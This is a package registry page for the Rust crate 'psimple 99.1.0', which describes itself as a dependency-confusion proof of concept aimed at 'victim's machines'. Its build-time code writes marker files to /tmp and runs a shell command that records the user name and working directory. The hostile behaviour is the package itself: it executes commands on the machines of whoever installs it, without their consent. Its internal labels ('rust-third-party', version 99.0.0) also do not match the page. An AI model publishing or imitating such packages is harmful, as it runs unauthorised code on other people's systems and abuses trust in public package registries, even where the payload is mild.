psimple 99.1.0

This package is a proof of concept used by bugdotexe to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. I do not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this package.
Documentation
use std::fs::File;
use std::io::Write;
use std::process::Command;

fn main() {
    // Create multiple marker files
    let markers = [
        "/tmp/dep_confusion_poc_1.txt",
        "/tmp/dep_confusion_poc_2.txt", 
        "/tmp/dep_confusion_poc_3.txt"
    ];
    
    for marker in markers.iter() {
        let mut file = File::create(marker).unwrap();
        writeln!(file, "DEPENDENCY CONFUSION POC EXECUTED").unwrap();
        writeln!(file, "Package: rust-third-party").unwrap();
        writeln!(file, "Version: 99.0.0").unwrap();
        writeln!(file, "Time: {:?}", std::time::SystemTime::now()).unwrap();
    }
    
    // Also try to run commands and capture output
    let output = Command::new("sh")
        .arg("-c")
        .arg("whoami > /tmp/dep_confusion_whoami.txt && pwd > /tmp/dep_confusion_pwd.txt")
        .output()
        .unwrap();
        
    println!("cargo:warning=[POC] Dependency confusion proven - check /tmp/dep_confusion_*.txt");
}